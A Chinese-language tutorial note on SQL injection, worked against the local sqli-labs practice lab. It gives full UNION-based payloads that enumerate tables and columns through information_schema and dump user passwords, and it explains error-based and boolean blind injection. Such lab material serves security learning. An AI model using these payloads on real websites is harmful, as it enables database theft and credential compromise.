目录
联合注入
判断注入点
判断显示位(列)
联合查询
报错注入
extractvalue()
updatexml()
盲注
GET['id']
?id=n
eg:127.0.0.1/sqli-labs/Less-1/?id=1
%23(#):过滤后面的语句
eg:127.0.0.1/sqli-labs/Less-1/?id=1' %23
加 ' 报错,再加%23(#)不报错,可判断一个注入点
整型注入:注入的是1,2,3......
字符型注入:注入的是a,b,c,def......
order by n
n>列数 -->报错
n<=列数 -->不报错
eg:127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 %23
union select
eg:127.0.0.1/sqli-labs/Less-1/?id=n' union select 1,2,3 %23
n为不存在的id
可在显示的数字与查询的数字一样的位置使用注入语句
如想爆它的库,用database()
eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,database() %23可得库名security
group_concat:将一列数据拼接成一排
eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat() %23
mysql中有一个information_schema,它记录了所有数据库的表名和列名,可查它来获得相应库下的表名,列名。
如查security的表、列名:
step:
爆表名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23
爆列名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
爆数据:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(password) from users %23
extractvalue()和updatexml()返回数据的长度有限制,为32位
mysql right函数
right(s,n):返回字符串s最右边的n个字符
盲注通常来讲分为布尔盲注和时间盲注,我们这里主要讲布尔盲注。
第一种页面即代表数据存在或者你传递的参数是正确的,所以这个时候我们可以用length()函数来判断长度 ,当我们传递id=1' and length(database())>3时,该语句判断数据库名长度是否大于3,如果大于则返回第一个页面
所以我们就可以通过修改参数来获得数据库名长度。
之后我们可以构造另一个注入语句,id=1' and ascii(substr((database()),1,1))>1 --+
这个则是判断数据库名的第一个字符所对应的ascii码是否大于1,符合则返回第一个页面,然后我们就可以一个一个试,最后得到所有字符的ascii码,然后得到想要的数据。